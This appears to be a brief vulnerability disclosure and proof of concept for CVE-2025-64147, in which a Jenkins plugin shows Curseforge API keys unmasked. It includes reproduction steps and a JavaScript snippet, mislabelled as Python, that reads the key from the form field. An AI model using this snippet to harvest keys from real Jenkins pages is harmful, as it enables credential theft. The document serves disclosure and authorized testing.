Jenkins Curseforge Publisher Plugin 1.0 does not mask API Keys displayed on the job configuration form, increasing the potential for attackers to observe and capture them.
The following code is for security research and authorized testing only.
python
// CVE-2025-64147 PoC - Information Disclosure via Page Inspection
// Steps to reproduce:
// 1. Navigate to Jenkins job configuration page
// 2. Locate the Curseforge Publisher section
// 3. Inspect the API Key input field in browser dev tools
// 4. The API key will be visible as plaintext in the 'value' attribute
// Example JavaScript to extract the API key:
(function() {
var apiKeyInput = document.querySelector('input[name="_.apiKey"]');
if (apiKeyInput) {
console.log('Exposed API Key:', apiKeyInput.value);
return apiKeyInput.value;
}
})();
// Or simply view page source to find:
// <input type="text" name="_.apiKey" value="ACTUAL_API_KEY_HERE" />
// Instead of masked:
// <input type="password" name="_.apiKey" value="ACTUAL_API_KEY_HERE" />